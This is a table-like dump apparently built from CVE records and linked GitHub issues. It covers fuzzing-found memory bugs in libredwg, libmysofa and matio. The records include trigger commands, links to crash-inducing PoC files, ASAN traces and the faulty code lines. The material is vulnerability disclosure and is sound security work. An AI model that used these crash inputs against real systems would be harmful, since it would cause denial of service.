0x7fd780fbf000-0x7fd780fc0000 /lib/x86_64-linux-gnu/libdl-2.27.so
0x7fd780fc0000-0x7fd7811a7000 /lib/x86_64-linux-gnu/libc-2.27.so
0x7fd7811a7000-0x7fd7813a7000 /lib/x86_64-linux-gnu/libc-2.27.so
0x7fd7813a7000-0x7fd7813ab000 /lib/x86_64-linux-gnu/libc-2.27.so
0x7fd7813ab000-0x7fd7813ad000 /lib/x86_64-linux-gnu/libc-2.27.so
0x7fd7813ad000-0x7fd7813b1000
0x7fd7813b1000-0x7fd78154e000 /lib/x86_64-linux-gnu/libm-2.27.so
0x7fd78154e000-0x7fd78174d000 /lib/x86_64-linux-gnu/libm-2.27.so
0x7fd78174d000-0x7fd78174e000 /lib/x86_64-linux-gnu/libm-2.27.so
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0x7fd78189f000-0x7fd781a9f000 /usr/lib/x86_64-linux-gnu/libasan.so.4.0.0
0x7fd781a9f000-0x7fd781aa2000 /usr/lib/x86_64-linux-gnu/libasan.so.4.0.0
0x7fd781aa2000-0x7fd781aa5000 /usr/lib/x86_64-linux-gnu/libasan.so.4.0.0
0x7fd781aa5000-0x7fd78270a000
0x7fd78270a000-0x7fd782731000 /lib/x86_64-linux-gnu/ld-2.27.so
0x7fd78279d000-0x7fd782927000
0x7fd782927000-0x7fd782931000
0x7fd782931000-0x7fd782932000 /lib/x86_64-linux-gnu/ld-2.27.so
0x7fd782932000-0x7fd782933000 /lib/x86_64-linux-gnu/ld-2.27.so
0x7fd782933000-0x7fd782934000
0x7fffa34fe000-0x7fffa351f000 [stack]
0x7fffa35bc000-0x7fffa35bf000 [vvar]
0x7fffa35bf000-0x7fffa35c1000 [vdso]
0xffffffffff600000-0xffffffffff601000 [vsyscall]
==6231==End of process memory map.
==6231==AddressSanitizer CHECK failed: ../../../../src/libsanitizer/sanitizer_common/sanitizer_common.cc:118 "((0 && "unable to mmap")) != (0)" (0x0, 0x0)
#0 0x7fd781838c02 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xe9c02)
#1 0x7fd781857595 in __sanitizer::CheckFailed(char const*, int, char const*, unsigned long long, unsigned long long) (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x108595)
#2 0x7fd781842492 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xf3492)
#3 0x7fd78184e8a5 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xff8a5)
#4 0x7fd78177b8f1 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x2c8f1)
#5 0x7fd78177604b (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x2704b)
#6 0x7fd78182dd00 in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xded00)
#7 0x55f7ba79bec8 in dwg_decode_SPLINE_private ../../src/dwg.spec:1639
#8 0x55f7ba7a4e19 in dwg_decode_SPLINE ../../src/dwg.spec:1585
#9 0x55f7bab4b89b in dwg_decode_add_object ../../src/decode.c:4738
#10 0x55f7bab5ef28 in decode_R13_R2000 ../../src/decode.c:1216
#11 0x55f7bab9161a in dwg_decode ../../src/decode.c:239
#12 0x55f7ba533f7a in dwg_read_file ../../src/dwg.c:206
#13 0x55f7ba53232d in main ../../programs/dwg2dxf.c:255
#14 0x7fd780fe1b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#15 0x55f7ba5332e9 in _start (/home/user/linhlhq/libredwg/obj-afl/programs/dwg2dxf+0x3e42e9)
```
Thanks,
Linhlhq from Infiniti Team, VinCSS (a member of Vingroup) # #
|
Several bugs found by fuzzing
|
https://api.github.com/repos/LibreDWG/libredwg/issues/176/comments
| 24
|
2019-12-24T03:44:32Z
|
2020-01-16T12:12:03Z
|
https://github.com/LibreDWG/libredwg/issues/176
| 541,977,765
| 176
| 926
|
CVE-2019-20016
|
2019-12-27T02:15:10.467
|
libmysofa before 2019-11-24 does not properly restrict recursive function calls, as demonstrated by reports of stack consumption in readOHDRHeaderMessageDatatype in dataobject.c and directblockRead in fractalhead.c. NOTE: a download of v0.9 after 2019-12-06 should fully remediate this issue.
|
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787
|
https://github.com/hoene/libmysofa/issues/83
|
[
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github.com
|
[
"hoene",
"libmysofa"
] |
A crafted input will lead to crash in fractalhead.c at libmysofa v0.8.
Triggered by
./mysofa2json POC
Poc
[overflow-libmysofa1](https://github.com/gutiniao/afltest/blob/master/overflow-libmysofa1)
The ASAN information is as follows:
```
./mysofa2json overflow-libmysofa1
ASAN:SIGSEGV
=================================================================
==6617==ERROR: AddressSanitizer: stack-overflow on address 0x7ffe850c2ed8 (pc 0x7f91956d5568 bp 0x7ffe850c3720 sp 0x7ffe850c2ec0 T0)
#0 0x7f91956d5567 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x98567)
#1 0x40d5d9 in directblockRead /home/libmysofa/libmysofa_asan/libmysofa/src/hdf/fractalhead.c:172
#2 0x40f74a in fractalheapRead /home/libmysofa/libmysofa_asan/libmysofa/src/hdf/fractalhead.c:451
#3 0x40a534 in dataobjectRead /home/libmysofa/libmysofa_asan/libmysofa/src/hdf/dataobject.c:931
#4 0x40d8d6 in directblockRead /home/libmysofa/libmysofa_asan/libmysofa/src/hdf/fractalhead.c:201
#5 0x40f74a in fractalheapRead /home/libmysofa/libmysofa_asan/libmysofa/src/hdf/fractalhead.c:451
#6 0x40a534 in dataobjectRead /home/libmysofa/libmysofa_asan/libmysofa/src/hdf/dataobject.c:931
#7 0x40d8d6 in directblockRead /home/libmysofa/libmysofa_asan/libmysofa/src/hdf/fractalhead.c:201
#8 0x40f74a in fractalheapRead /home/libmysofa/libmysofa_asan/libmysofa/src/hdf/fractalhead.c:451
#9 0x40a534 in dataobjectRead /home/libmysofa/libmysofa_asan/libmysofa/src/hdf/dataobject.c:931
#10 0x40d8d6 in directblockRead /home/libmysofa/libmysofa_asan/libmysofa/src/hdf/fractalhead.c:201
#11 0x40f74a in fractalheapRead /home/libmysofa/libmysofa_asan/libmysofa/src/hdf/fractalhead.c:451
#12 0x40a534 in dataobjectRead /home/libmysofa/libmysofa_asan/libmysofa/src/hdf/dataobject.c:931
#13 0x40d8d6 in directblockRead /home/libmysofa/libmysofa_asan/libmysofa/src/hdf/fractalhead.c:201
#14 0x40f74a in fractalheapRead /home/libmysofa/libmysofa_asan/libmysofa/src/hdf/fractalhead.c:451
#15 0x40a534 in dataobjectRead /home/libmysofa/libmysofa_asan/libmysofa/src/hdf/dataobject.c:931
#16 0x40d8d6 in directblockRead /home/libmysofa/libmysofa_asan/libmysofa/src/hdf/fractalhead.c:201
#17 0x40f74a in fractalheapRead /home/libmysofa/libmysofa_asan/libmysofa/src/hdf/fractalhead.c:451
#18 0x40a534 in dataobjectRead /home/libmysofa/libmysofa_asan/libmysofa/src/hdf/dataobject.c:931
#19 0x40d8d6 in directblockRead /home/libmysofa/libmysofa_asan/libmysofa/src/hdf/fractalhead.c:201
.....
```
gdb debug info:
```
gdb ./mysofa2json
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./mysofa2json...done.
(gdb) r overflow-libmysofa1
Starting program: /usr/local/libmysofa_ASAN/bin/mysofa2json overflow-libmysofa1
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Program received signal SIGSEGV, Segmentation fault.
0x00007ffff6f02568 in malloc () from /usr/lib/x86_64-linux-gnu/libasan.so.2
(gdb) bt
#0 0x00007ffff6f02568 in malloc () from /usr/lib/x86_64-linux-gnu/libasan.so.2
#1 0x000000000040d5da in directblockRead (reader=0x7fffffffde10, dataobject=0x617000a5cd08, fractalheap=0x617000a5cee8) at /home/libmysofa/libmysofa_asan/libmysofa/src/hdf/fractalhead.c:172
#2 0x000000000040f74b in fractalheapRead (reader=0x7fffffffde10, dataobject=0x617000a5cd08, fractalheap=0x617000a5cee8) at /home/libmysofa/libmysofa_asan/libmysofa/src/hdf/fractalhead.c:451
#3 0x000000000040a535 in dataobjectRead (reader=0x7fffffffde10, dataobject=0x617000a5cd08, name=0x60200006ed50 "7") at /home/libmysofa/libmysofa_asan/libmysofa/src/hdf/dataobject.c:931
```
about code:
```
} else if (typeandversion == 1) {
/*
* pointer to another data object
*/
unknown = readValue(reader, 6);
if (unknown) {
log("FHDB type 1 unsupported values\n");
return MYSOFA_UNSUPPORTED_FORMAT;
}
len = fgetc(reader->fhd);
if (len < 0)
return MYSOFA_READ_ERROR;
assert(len < 0x100);
--------> if (!(name = malloc(len + 1)))
return MYSOFA_NO_MEMORY;
```
|
There is a stack-based buffer overflow in the directblockRead function of fractalhead.c(at 172)
|
https://api.github.com/repos/hoene/libmysofa/issues/83/comments
| 1
|
2019-10-31T07:21:20Z
|
2019-11-24T10:07:23Z
|
https://github.com/hoene/libmysofa/issues/83
| 515,219,307
| 83
| 927
|
CVE-2019-20016
|
2019-12-27T02:15:10.467
|
libmysofa before 2019-11-24 does not properly restrict recursive function calls, as demonstrated by reports of stack consumption in readOHDRHeaderMessageDatatype in dataobject.c and directblockRead in fractalhead.c. NOTE: a download of v0.9 after 2019-12-06 should fully remediate this issue.
|
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"impactScore": 3.6,
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"type": "Primary"
}
],
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|
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"source": "cve@mitre.org",
"tags": [
"Patch",
"Third Party Advisory"
],
"url": "https://github.com/hoene/libmysofa/commit/2e6fac6ab6156dae8e8c6f417741388084b70d6f"
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"tags": [
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],
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},
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"tags": [
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"Third Party Advisory"
],
"url": "https://github.com/hoene/libmysofa/issues/84"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Patch",
"Third Party Advisory"
],
"url": "https://github.com/hoene/libmysofa/commit/2e6fac6ab6156dae8e8c6f417741388084b70d6f"
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"source": "af854a3a-2127-422b-91ae-364da2661108",
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"url": "https://github.com/hoene/libmysofa/issues/83"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
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"Third Party Advisory"
],
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}
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[
"787"
] |
787
|
https://github.com/hoene/libmysofa/issues/84
|
[
"Exploit",
"Third Party Advisory"
] |
github.com
|
[
"hoene",
"libmysofa"
] |
A crafted input will lead to crash in dataobject.c at libmysofa v0.8.
Triggered by
./mysofa2json POC
Poc
[overflow-libmysofa2](https://github.com/gutiniao/afltest/blob/master/overflow-libmysofa2)
The ASAN information is as follows:
```
./mysofa2json overflow-libmysofa2
ASAN:SIGSEGV
=================================================================
==9769==ERROR: AddressSanitizer: stack-overflow on address 0x7ffeb49eeff8 (pc 0x7f4d5c559b01 bp 0x7ffeb49ef910 sp 0x7ffeb49ef000 T0)
#0 0x7f4d5c559b00 (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x22b00)
#1 0x7f4d5c5cf5d2 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x985d2)
#2 0x4074dd in readOHDRHeaderMessageDatatype /home/libmysofa/libmysofa_asan/libmysofa/src/hdf/dataobject.c:216
#3 0x4093b4 in readOHDRHeaderMessageAttribute /home/libmysofa/libmysofa_asan/libmysofa/src/hdf/dataobject.c:694
#4 0x409c78 in readOHDRmessages /home/libmysofa/libmysofa_asan/libmysofa/src/hdf/dataobject.c:822
#5 0x409ee6 in readOCHK /home/libmysofa/libmysofa_asan/libmysofa/src/hdf/dataobject.c:865
#6 0x408fbe in readOHDRHeaderMessageContinue /home/libmysofa/libmysofa_asan/libmysofa/src/hdf/dataobject.c:631
#7 0x409c9c in readOHDRmessages /home/libmysofa/libmysofa_asan/libmysofa/src/hdf/dataobject.c:826
#8 0x40a3de in dataobjectRead /home/libmysofa/libmysofa_asan/libmysofa/src/hdf/dataobject.c:913
#9 0x40d8d6 in directblockRead /home/libmysofa/libmysofa_asan/libmysofa/src/hdf/fractalhead.c:201
#10 0x40e0ec in indirectblockRead /home/libmysofa/libmysofa_asan/libmysofa/src/hdf/fractalhead.c:295
#11 0x40f722 in fractalheapRead /home/libmysofa/libmysofa_asan/libmysofa/src/hdf/fractalhead.c:448
#12 0x40a534 in dataobjectRead /home/libmysofa/libmysofa_asan/libmysofa/src/hdf/dataobject.c:931
#13 0x40d8d6 in directblockRead /home/libmysofa/libmysofa_asan/libmysofa/src/hdf/fractalhead.c:201
#14 0x40f74a in fractalheapRead /home/libmysofa/libmysofa_asan/libmysofa/src/hdf/fractalhead.c:451
#15 0x40a626 in dataobjectRead /home/libmysofa/libmysofa_asan/libmysofa/src/hdf/dataobject.c:937
#16 0x40d8d6 in directblockRead /home/libmysofa/libmysofa_asan/libmysofa/src/hdf/fractalhead.c:201
#17 0x40f74a in fractalheapRead /home/libmysofa/libmysofa_asan/libmysofa/src/hdf/fractalhead.c:451
#18 0x40a626 in dataobjectRead /home/libmysofa/libmysofa_asan/libmysofa/src/hdf/dataobject.c:937
#19 0x40d8d6 in directblockRead /home/libmysofa/libmysofa_asan/libmysofa/src/hdf/fractalhead.c:201
#20 0x40f74a in fractalheapRead /home/libmysofa/libmysofa_asan/libmysofa/src/hdf/fractalhead.c:451
#21 0x40a626 in dataobjectRead /home/libmysofa/libmysofa_asan/libmysofa/src/hdf/dataobject.c:937
.....
```
about code:
```
case 6:
log(" COMPONENT %d %02X\n", dt->size, dt->class_bit_field);
if ((dt->class_and_version & 0xf0) != 0x30) {
log("object OHDR datatype message must have version 1 not %d\n",
dt->class_and_version >> 4);
return MYSOFA_INVALID_FORMAT;
}
for (i = 0; i < (dt->class_bit_field & 0xffff); i++) {
int maxsize = 0x1000;
---------------> buffer = malloc(maxsize);
```
|
There is a stack-based buffer overflow in the readOHDRHeaderMessageDatatype function of dataobject.c(at 216)
|
https://api.github.com/repos/hoene/libmysofa/issues/84/comments
| 1
|
2019-10-31T07:31:18Z
|
2019-11-24T09:45:24Z
|
https://github.com/hoene/libmysofa/issues/84
| 515,223,744
| 84
| 928
|
CVE-2019-20017
|
2019-12-27T02:15:10.547
|
A stack-based buffer over-read was discovered in Mat_VarReadNextInfo5 in mat5.c in matio 1.5.17.
|
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"authentication": "NONE",
"availabilityImpact": "PARTIAL",
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"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"vectorString": "AV:N/AC:M/Au:N/C:N/I:N/A:P",
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"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
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"impactScore": 3.6,
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"type": "Primary"
}
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|
[
{
"source": "cve@mitre.org",
"tags": [
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"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/tbeu/matio/issues/127"
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125
|
https://github.com/tbeu/matio/issues/127
|
[
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] |
github.com
|
[
"tbeu",
"matio"
] |
A crafted input will lead to crash in mat5.c at matio 1.5.17.
Triggered by
./matdump POC
Poc
[001-stackover-Mat_VarReadNextInfo5_mat54915](https://github.com/gutiniao/afltest/blob/master/001-stackover-Mat_VarReadNextInfo5_mat54915)
The ASAN information is as follows:
```
./matdump 001-stackover-Mat_VarReadNextInfo5_mat54915
InflateRankDims: inflate returned data error
=================================================================
==31427==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffcc32c92d0 at pc 0x7fcd463809a6 bp 0x7ffcc32c90c0 sp 0x7ffcc32c90b0
READ of size 4 at 0x7ffcc32c92d0 thread T0
#0 0x7fcd463809a5 in Mat_VarReadNextInfo5 /home/matio_asan/src/mat5.c:4915
#1 0x7fcd4639746b in Mat_VarReadNextInfo /home/matio_asan/src/mat.c:2342
#2 0x408126 in main /home/matio_asan/tools/matdump.c:944
#3 0x7fcd45b7282f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
#4 0x401b58 in _start (/usr/local/matio_asan/bin/matdump+0x401b58)
Address 0x7ffcc32c92d0 is located in stack of thread T0 at offset 416 in frame
#0 0x7fcd4637fc54 in Mat_VarReadNextInfo5 /home/matio_asan/src/mat5.c:4788
This frame has 6 object(s):
[32, 36) 'data_type'
[96, 100) 'nBytes'
[160, 168) 'dims'
[224, 232) 'size'
[288, 312) 'buf'
[352, 416) 'uncomp_buf' <== Memory access at offset 416 overflows this variable
HINT: this may be a false positive if your program uses some custom stack unwind mechanism or swapcontext
(longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow /home/matio_asan/src/mat5.c:4915 Mat_VarReadNextInfo5
Shadow bytes around the buggy address:
0x100018651200: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x100018651210: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x100018651220: 00 00 00 00 00 00 f1 f1 f1 f1 04 f4 f4 f4 f2 f2
0x100018651230: f2 f2 04 f4 f4 f4 f2 f2 f2 f2 00 f4 f4 f4 f2 f2
0x100018651240: f2 f2 00 f4 f4 f4 f2 f2 f2 f2 00 00 00 f4 f2 f2
=>0x100018651250: f2 f2 00 00 00 00 00 00 00 00[f3]f3 f3 f3 f3 f3
0x100018651260: f3 f3 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x100018651270: 00 00 00 00 00 00 00 00 f1 f1 f1 f1 00 f4 f4 f4
0x100018651280: f2 f2 f2 f2 00 04 f4 f4 f3 f3 f3 f3 00 00 00 00
0x100018651290: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x1000186512a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
==31427==ABORTING
```
about code (4915):
```
if ( mat->byteswap ) {
for ( j = 0; j < matvar->rank; j++ )
matvar->dims[j] = Mat_uint32Swap(dims + j);
} else {
for ( j = 0; j < matvar->rank; j++ )
-----------------> matvar->dims[j] = dims[j];
}
```
|
There is a stack-based buffer overflow in the Mat_VarReadNextInfo5 function of mat5.c(at 4915)
|
https://api.github.com/repos/tbeu/matio/issues/127/comments
| 5
|
2019-11-07T03:14:45Z
|
2019-12-27T08:42:46Z
|
https://github.com/tbeu/matio/issues/127
| 519,013,678
| 127
| 929
|
CVE-2019-20018
|
2019-12-27T02:15:10.610
|
A stack-based buffer over-read was discovered in ReadNextCell in mat5.c in matio 1.5.17.
|
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"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
},
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"impactScore": 3.6,
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"type": "Primary"
}
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|
[
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"source": "cve@mitre.org",
"tags": [
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"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/tbeu/matio/issues/129"
},
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"tags": [
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[
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125
|
https://github.com/tbeu/matio/issues/129
|
[
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] |
github.com
|
[
"tbeu",
"matio"
] |
A crafted input will lead to crash in mat5.c at matio 1.5.17.
Triggered by
./matdump POC
Poc
[003-stackoverflow-ReadNextCell-mat51001](https://github.com/gutiniao/afltest/blob/master/003-stackoverflow-ReadNextCell-mat51001)
The ASAN information is as follows:
```
./matdump 003-stackoverflow-ReadNextCell-mat51001
InflateRankDims: inflate returned data error
=================================================================
==41935==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffdd5e70bb0 at pc 0x7f134197a587 bp 0x7ffdd5e70a20 sp 0x7ffdd5e70a10
READ of size 4 at 0x7ffdd5e70bb0 thread T0
#0 0x7f134197a586 in ReadNextCell /home/matio_asan/src/mat5.c:1001
#1 0x7f1341a38e78 in Mat_VarReadNextInfo5 /home/matio_asan/src/mat5.c:4961
#2 0x7f1341a4f46b in Mat_VarReadNextInfo /home/matio_asan/src/mat.c:2342
#3 0x408126 in main /home/matio_asan/tools/matdump.c:944
#4 0x7f134122a82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
#5 0x401b58 in _start (/usr/local/matio_asan/bin/matdump+0x401b58)
Address 0x7ffdd5e70bb0 is located in stack of thread T0 at offset 288 in frame
#0 0x7f13419793b9 in ReadNextCell /home/matio_asan/src/mat5.c:892
This frame has 4 object(s):
[32, 40) 'nelems'
[96, 104) 'dims'
[160, 184) 'buf'
[224, 288) 'uncomp_buf' <== Memory access at offset 288 overflows this variable
HINT: this may be a false positive if your program uses some custom stack unwind mechanism or swapcontext
(longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow /home/matio_asan/src/mat5.c:1001 ReadNextCell
Shadow bytes around the buggy address:
0x10003abc6120: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10003abc6130: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10003abc6140: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10003abc6150: 00 00 f1 f1 f1 f1 00 f4 f4 f4 f2 f2 f2 f2 00 f4
0x10003abc6160: f4 f4 f2 f2 f2 f2 00 00 00 f4 f2 f2 f2 f2 00 00
=>0x10003abc6170: 00 00 00 00 00 00[f3]f3 f3 f3 f3 f3 f3 f3 00 00
0x10003abc6180: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10003abc6190: 00 00 f1 f1 f1 f1 04 f4 f4 f4 f2 f2 f2 f2 04 f4
0x10003abc61a0: f4 f4 f2 f2 f2 f2 00 f4 f4 f4 f2 f2 f2 f2 00 f4
0x10003abc61b0: f4 f4 f2 f2 f2 f2 00 00 00 f4 f2 f2 f2 f2 00 00
0x10003abc61c0: 00 00 00 00 00 00 f3 f3 f3 f3 f3 f3 f3 f3 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
==41935==ABORTING
```
|
There is a stack-based buffer overflow in the ReadNextCell function of mat5.c(at 1001)
|
https://api.github.com/repos/tbeu/matio/issues/129/comments
| 4
|
2019-11-07T03:27:18Z
|
2019-12-27T08:42:16Z
|
https://github.com/tbeu/matio/issues/129
| 519,017,135
| 129
| 930
|
CVE-2019-20019
|
2019-12-27T02:15:10.657
|
An attempted excessive memory allocation was discovered in Mat_VarRead5 in mat5.c in matio 1.5.17.
|
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"baseScore": 4.3,
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}
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|
[
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"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/tbeu/matio/issues/130"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/tbeu/matio/issues/130"
}
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[
"770"
] |
770
|
https://github.com/tbeu/matio/issues/130
|
[
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] |
github.com
|
[
"tbeu",
"matio"
] |
A crafted input will lead to crash in mat5.c at matio 1.5.17.
Triggered by
./matdump POC
Poc
[004Mat_VarRead53574](https://github.com/gutiniao/afltest/blob/master/004Mat_VarRead53574)
The ASAN information is as follows:
```
./matdump 004Mat_VarRead53574
==22145==ERROR: AddressSanitizer failed to allocate 0x4c1a84000 (20428898304) bytes of LargeMmapAllocator (errno: 12)
==22145==Process memory map follows:
0x000000400000-0x00000040d000 /usr/local/matio_asan/bin/matdump
0x00000060c000-0x00000060d000 /usr/local/matio_asan/bin/matdump
0x00000060d000-0x000000610000 /usr/local/matio_asan/bin/matdump
0x00007fff7000-0x00008fff7000
0x00008fff7000-0x02008fff7000
0x02008fff7000-0x10007fff8000
0x600000000000-0x602000000000
0x602000000000-0x602000010000
0x602000010000-0x603000000000
0x603000000000-0x603000010000
0x603000010000-0x604000000000
0x604000000000-0x604000010000
0x604000010000-0x607000000000
0x607000000000-0x607000010000
0x607000010000-0x60b000000000
0x60b000000000-0x60b000010000
0x60b000010000-0x60c000000000
0x60c000000000-0x60c000010000
0x60c000010000-0x616000000000
0x616000000000-0x616000020000
0x616000020000-0x619000000000
0x619000000000-0x619000020000
0x619000020000-0x621000000000
0x621000000000-0x621000020000
0x621000020000-0x624000000000
0x624000000000-0x624000020000
0x624000020000-0x62d000000000
0x62d000000000-0x62d000020000
0x62d000020000-0x640000000000
0x640000000000-0x640000003000
0x7fd221600000-0x7fd221700000
0x7fd221800000-0x7fd221900000
0x7fd22191d000-0x7fd223c6f000
0x7fd223c6f000-0x7fd223c8a000 /usr/local/lib/libz.so.1.2.11
0x7fd223c8a000-0x7fd223e89000 /usr/local/lib/libz.so.1.2.11
0x7fd223e89000-0x7fd223e8a000 /usr/local/lib/libz.so.1.2.11
0x7fd223e8a000-0x7fd223e8b000 /usr/local/lib/libz.so.1.2.11
0x7fd223e8b000-0x7fd223ea1000 /lib/x86_64-linux-gnu/libgcc_s.so.1
0x7fd223ea1000-0x7fd2240a0000 /lib/x86_64-linux-gnu/libgcc_s.so.1
0x7fd2240a0000-0x7fd2240a1000 /lib/x86_64-linux-gnu/libgcc_s.so.1
0x7fd2240a1000-0x7fd2240a4000 /lib/x86_64-linux-gnu/libdl-2.23.so
0x7fd2240a4000-0x7fd2242a3000 /lib/x86_64-linux-gnu/libdl-2.23.so
0x7fd2242a3000-0x7fd2242a4000 /lib/x86_64-linux-gnu/libdl-2.23.so
0x7fd2242a4000-0x7fd2242a5000 /lib/x86_64-linux-gnu/libdl-2.23.so
0x7fd2242a5000-0x7fd2242bd000 /lib/x86_64-linux-gnu/libpthread-2.23.so
0x7fd2242bd000-0x7fd2244bc000 /lib/x86_64-linux-gnu/libpthread-2.23.so
0x7fd2244bc000-0x7fd2244bd000 /lib/x86_64-linux-gnu/libpthread-2.23.so
0x7fd2244bd000-0x7fd2244be000 /lib/x86_64-linux-gnu/libpthread-2.23.so
0x7fd2244be000-0x7fd2244c2000
0x7fd2244c2000-0x7fd224682000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7fd224682000-0x7fd224882000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7fd224882000-0x7fd224886000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7fd224886000-0x7fd224888000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7fd224888000-0x7fd22488c000
0x7fd22488c000-0x7fd224994000 /lib/x86_64-linux-gnu/libm-2.23.so
0x7fd224994000-0x7fd224b93000 /lib/x86_64-linux-gnu/libm-2.23.so
0x7fd224b93000-0x7fd224b94000 /lib/x86_64-linux-gnu/libm-2.23.so
0x7fd224b94000-0x7fd224b95000 /lib/x86_64-linux-gnu/libm-2.23.so
0x7fd224b95000-0x7fd224d18000 /usr/local/matio_asan/lib/libmatio.so.10.0.2
0x7fd224d18000-0x7fd224f17000 /usr/local/matio_asan/lib/libmatio.so.10.0.2
0x7fd224f17000-0x7fd224f18000 /usr/local/matio_asan/lib/libmatio.so.10.0.2
0x7fd224f18000-0x7fd224f1b000 /usr/local/matio_asan/lib/libmatio.so.10.0.2
0x7fd224f1b000-0x7fd22500f000 /usr/lib/x86_64-linux-gnu/libasan.so.2.0.0
0x7fd22500f000-0x7fd22520f000 /usr/lib/x86_64-linux-gnu/libasan.so.2.0.0
0x7fd22520f000-0x7fd225212000 /usr/lib/x86_64-linux-gnu/libasan.so.2.0.0
0x7fd225212000-0x7fd225213000 /usr/lib/x86_64-linux-gnu/libasan.so.2.0.0
0x7fd225213000-0x7fd225e88000
0x7fd225e88000-0x7fd225eae000 /lib/x86_64-linux-gnu/ld-2.23.so
0x7fd22605c000-0x7fd226093000
0x7fd226096000-0x7fd2260ad000
0x7fd2260ad000-0x7fd2260ae000 /lib/x86_64-linux-gnu/ld-2.23.so
0x7fd2260ae000-0x7fd2260af000 /lib/x86_64-linux-gnu/ld-2.23.so
0x7fd2260af000-0x7fd2260b0000
0x7ffe32830000-0x7ffe32851000 [stack]
0x7ffe328fa000-0x7ffe328fd000 [vvar]
0x7ffe328fd000-0x7ffe328ff000 [vdso]
0xffffffffff600000-0xffffffffff601000 [vsyscall]
==22145==End of process memory map.
==22145==AddressSanitizer CHECK failed: ../../../../src/libsanitizer/sanitizer_common/sanitizer_posix.cc:121 "(("unable to mmap" && 0)) != (0)" (0x0, 0x0)
#0 0x7fd224fbb631 (/usr/lib/x86_64-linux-gnu/libasan.so.2+0xa0631)
#1 0x7fd224fc05e3 in __sanitizer::CheckFailed(char const*, int, char const*, unsigned long long, unsigned long long) (/usr/lib/x86_64-linux-gnu/libasan.so.2+0xa55e3)
#2 0x7fd224fc8611 (/usr/lib/x86_64-linux-gnu/libasan.so.2+0xad611)
#3 0x7fd224f3dc0c (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x22c0c)
#4 0x7fd224fb35d2 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x985d2)
#5 0x7fd224c486d6 in Mat_VarRead5 /home/matio_asan/src/mat5.c:3574
